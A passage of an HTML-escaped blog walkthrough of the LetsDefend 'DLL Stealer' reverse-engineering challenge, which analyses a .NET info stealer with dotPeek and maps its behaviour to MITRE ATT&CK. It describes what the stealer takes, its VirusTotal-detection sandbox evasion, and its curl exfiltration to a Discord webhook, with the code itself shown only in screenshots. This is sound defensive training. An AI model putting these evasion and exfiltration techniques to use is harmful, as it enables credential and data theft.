width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/dll-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wanted to try to reverse engineer an info stealer malware sample, see how it works, and determine how it could impact its victim? If this sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog! Stick around for my weekly walkthrough where we&amp;rsquo;re going to take on the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DLL Stealer&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DLL Stealer&lt;/strong&gt;&lt;/a&gt; is an introductory malware reverse engineering challenge that has us using &lt;em&gt;JetBrains dotPeek&lt;/em&gt; to decompile and analyze an information stealer malware sample. By analyzing the malware, we&amp;rsquo;re going to determine its capabilities, what data it tries to steal, and how it exfiltrates the information — fun stuff!&lt;/p&gt;&#xA;&lt;p&gt;To set the stage, malware reverse engineering is not my strongest skill, but practice makes perfect, so we will stumble through this one together and build up our knowledge along the way. That being said, I won&amp;rsquo;t have as many real-world application tips this time around so instead I&amp;rsquo;m providing plenty of reference links to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK&lt;/a&gt; to add some additional context about the tactics, techniques, and procedures (&lt;em&gt;TTPs&lt;/em&gt;) used by the malware.&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s put on our detective hats and have some fun with forensics. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/dll-stealer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You work as a cybersecurity analyst for a major corporation. Recently, your company&amp;rsquo;s security team detected some suspicious activity on the network. It appears that a new DLL Stealer malware has infiltrated your system, and it&amp;rsquo;s causing concern due to its ability to exfiltrate critical DLL files from your system.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-dll-that-has-the-stealercode&#34;&gt;Question 1: What is the DLL that has the stealer code?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump right in and connect to the provided virtual machine and extract the challenge file archive within the &lt;em&gt;ChallengeFile&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;Typically, it&amp;rsquo;s a good idea to get familiar with the provided tools so that we have some idea of what&amp;rsquo;s available to tackle the challenge. Let&amp;rsquo;s review the &lt;em&gt;Tools&lt;/em&gt; folder on the Desktop. Right away, we&amp;rsquo;ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/eca4572535ec4e91447479302c466740_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Tools folder.&lt;/p&gt;&#xA;&lt;p&gt;However, since reverse engineering is not my strong suit, we&amp;rsquo;ll look at question hint as a jumping-off point:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1692px&#34; data-flex-grow=&#34;705&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/c583f86d7e04b7987eb3c73628734faa_MD5.png&#34; width=&#34;698&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! This will be my first time using &lt;em&gt;dotPeek&lt;/em&gt;. Let&amp;rsquo;s take a moment to check out the project&amp;rsquo;s website to understand what it is and take a quick look at the documentation available.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;  title=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get started | dotPeek&lt;/strong&gt;&#xA;_dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for&amp;hellip;_www.jetbrains.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cool, now that we have done a little research, let&amp;rsquo;s jump into &lt;em&gt;dotPeek&lt;/em&gt; and start the investigation. Open the &lt;em&gt;ChallengeFile&lt;/em&gt; folder, right-click the extracted sample, and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Open With &amp;gt; &lt;em&gt;JetBrains dotPeek&lt;/em&gt;.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This will launch &lt;em&gt;dotPeek&lt;/em&gt; and load the file. Don&amp;rsquo;t worry, it will take a few minutes to load the &lt;em&gt;assembly explorer,&lt;/em&gt; but when it does, expand the node (the one with the sample name) so that we can see the two DLL files contained within the executable:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Colorful&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Test-Anitnazim.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;419&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/f0d5bcd3446a58f0ea717110da0951c7_MD5.png&#34; width=&#34;714&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we need to find the name of the specific DLL that contains the info stealer code, we&amp;rsquo;ll just start at the top of the list and expand the &lt;em&gt;Colorful node&lt;/em&gt; so that we can peek into all the assemblies. We&amp;rsquo;ll see a few different functions that we need to look through to see if we can discover any malicious code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/124fc9483aa943746b9d377527756363_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a brief scan of the code, we&amp;rsquo;ll see evidence of suspicious &lt;em&gt;data staging&lt;/em&gt; &lt;em&gt;(&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1074.001&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; and &lt;em&gt;collection (&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1005&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; activity targeting common directories of interest for info stealers like web browser databases, cryptocurrency wallet addresses, online gaming platforms, social media accounts, etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;348px&#34; data-flex-grow=&#34;145&#34; height=&#34;551&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/45504c778e94db0eed305b6adcc383a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sus.&lt;/p&gt;&#xA;&lt;p&gt;Scrolling even further to the end of the code, we even see some evidence of &lt;em&gt;data exfiltration (&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1048/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1048&lt;/em&gt;&lt;/a&gt;&lt;em&gt;)&lt;/em&gt; with the &lt;a class=&#34;link&#34; href=&#34;https://curl.se/docs/manpage.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;curl&lt;/em&gt; command&lt;/a&gt; to send the data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/54c584ce6e60267ae34ab6d858259039_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll stop here for now. This is enough evidence to determine that we discovered the &lt;em&gt;DLL&lt;/em&gt; that contains the stealer code. Let&amp;rsquo;s submit our findings to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/c48db1bc40ba7d9b680acbafce0c2cda_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-anti-analysis-method-used-by-themalware&#34;&gt;Question 2: What is the anti-analysis method used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Sometimes, malware performs checks to see if it is being executed in virtual or sandbox environments and will adjust its behavior or terminate to avoid detection by analysts. &lt;strong&gt;Question 2&lt;/strong&gt; suggests that there is some anti-analysis mechanism our sample, so let&amp;rsquo;s see if we can find it!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll go back into the &lt;em&gt;assembly explorer&lt;/em&gt; in &lt;em&gt;dotPeek,&lt;/em&gt; check out the &lt;code&gt;IsVirusTotal(): bool&lt;/code&gt; under the C_olorful_ function, and examine the code.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus on these interesting lines of code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;469px&#34; data-flex-grow=&#34;195&#34; height=&#34;409&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/b93d313e31036287033381ab9a9e2ac6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems that the program tries to detect if it is being analyzed by &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; by using a series of system checks for unique values typically used by the &lt;em&gt;VirusTotal&lt;/em&gt; analysis engines during automated scanning including: username, machine name, and download location.&lt;/p&gt;&#xA;&lt;p&gt;Then, it looks for a true or false value (&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Boolean_data_type&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Boolean&lt;/em&gt;&lt;/a&gt;) — if the application returns &lt;em&gt;true&lt;/em&gt;, the program has determined that is being analyzed by &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; and then the program then ends to evade further analysis.&lt;/p&gt;&#xA;&lt;p&gt;This is an example of a defense evasion tactic that we touched on earlier (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1497.001&lt;/a&gt;) where, according to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Virtualization/Sandbox Evasion&lt;/a&gt; during automated discovery to shape follow-on behaviors.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;All of that said, since the program seems to check if it is being analyzed by &lt;em&gt;VirusTotal,&lt;/em&gt; I think we&amp;rsquo;ve found the anti-analysis method we are looking for to answer &lt;strong&gt;Question 2!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/bcc26e3dab104770437275d8cef7586b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-full-command-used-to-gather-information-from-the-system-into-the---&#34;&gt;Question 3: What is the full command used to gather information from the system into the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;productkey.txt&amp;quot;&#xA;file?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s search the code and see if we can analyze some specific capabilities of the stealer functions. We are going to search for the command that the malware uses to enumerate and collect the victim&amp;rsquo;s &lt;em&gt;Windows&lt;/em&gt; product key.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, this is pretty straightforward, and we can simply use the &lt;em&gt;find&lt;/em&gt; feature (CTRL+F) in &lt;em&gt;dotPeek&lt;/em&gt; to search for the keyword &amp;quot; # &amp;ldquo;productkey.txt.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;543px&#34; data-flex-grow=&#34;226&#34; height=&#34;353&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/47c5443df46db29815e429f12919577b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Taking a closer look at the command, this is using the &lt;em&gt;Windows Management Instrumentation Command Line (WMIC)&lt;/em&gt; to query the software licensing class for the value containing the &lt;em&gt;Windows&lt;/em&gt; product key.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/f75675fb78548536cee5c8203463463d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-full-command-used-to-gather-information-through-the---&#34;&gt;Question 4: What is the full command used to gather information through the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;ips.txt&amp;quot;&#xA;file?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll approach &lt;strong&gt;Question 4&lt;/strong&gt; the same way we approached the previous question except this time, we will search for &amp;ldquo;ips.txt.&amp;ldquo;This will help us locate the output file so that we can see the preceding command.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;566px&#34; data-flex-grow=&#34;235&#34; height=&#34;339&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/dbf692bcab812c6bd05cf36e01744b05_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we locate the &lt;em&gt;ips.txt&lt;/em&gt; file, we can see that the IP addresses were enumerated through the &lt;em&gt;ipconfig /all&lt;/em&gt; command (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1016/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1016&lt;/em&gt;&lt;/a&gt;)&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/fa5273043e22ba415854f5347d33a823_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-webhook-used-by-themalware&#34;&gt;Question 5: What is the webhook used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we found some evidence of data being staged for exfiltration? Let&amp;rsquo;s revisit those lines of code. To speed this process up, let&amp;rsquo;s leverage &lt;em&gt;dotPeek&amp;rsquo;s find&lt;/em&gt; function again and search for &amp;ldquo;webhook&amp;quot;to take us to the right location.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;580px&#34; data-flex-grow=&#34;241&#34; height=&#34;331&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/4748e5c4b5e85b0c2d7b712dc6753832_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will show us the correct webhook URL to answer &lt;strong&gt;Question 5!&lt;/strong&gt; But, let&amp;rsquo;s take a moment to understand how this works by referencing &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; for more context of this technique &lt;em&gt;(&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1567.004&lt;/em&gt;&lt;/a&gt;&lt;em&gt;).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  title=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Exfiltration Over Web Service: Exfiltration Over Webhook&lt;/strong&gt;&#xA;_Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.&lt;a class=&#34;link&#34; href=&#34;https://www.redhat.com/en/topics/automation/what-is-a-webhook&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; Many public and commercial services, such as Discord, Slack, and &lt;code&gt;webhook.site&lt;/code&gt;, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;To summarize this in the context of this info stealer, after the malware collects the data, it is exfiltrated using &lt;em&gt;curl&lt;/em&gt; to send data to the attacker&amp;rsquo;s &lt;em&gt;Discord&lt;/em&gt; server by leveraging &lt;em&gt;Discord&amp;rsquo;s&lt;/em&gt; webhook functionality_._&lt;/p&gt;&#xA;&lt;p&gt;Now that we have determined the webhook URL, let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/2a3d8521eca577e321a5faca48589428_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! We have finished our analysis of the DLL Stealer malware, uncovered its functionality, anti-analysis method, targeted data, and the exfiltration method. It&amp;rsquo;s time for the postmortem report and to close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/dll-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DLL Stealer&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;for this awesome challenge! This lab was a fun opportunity to level-up my reverse engineering skills and introduce me to the &lt;em&gt;dotPeek&lt;/em&gt; tool. I appreciate that this challenge was on the shorter side but got me really interested in analyzing and interpreting the malware sample. By referencing &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; throughout this walkthrough I was able to really dive in, engage with, and understand the challenge beyond the required questions. I hope that you found it valuable and had as much fun as I did learning something new, too!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;JetBrains dotPeek:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/help/decompiler/dotPeek_Getting_Started.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1074.001 — Data Staged: Local Data Staging):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1074/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1005 — Data from Local System):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1005/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1048 — Exfiltration Over Alternative Protocol):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1048/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1048/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;curl:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://curl.se/docs/manpage.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://curl.se/docs/manpage.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Boolean Definition:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Boolean_data_type&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Boolean_data_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1497/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1016 — System Network Configuration Discovery):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1016/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    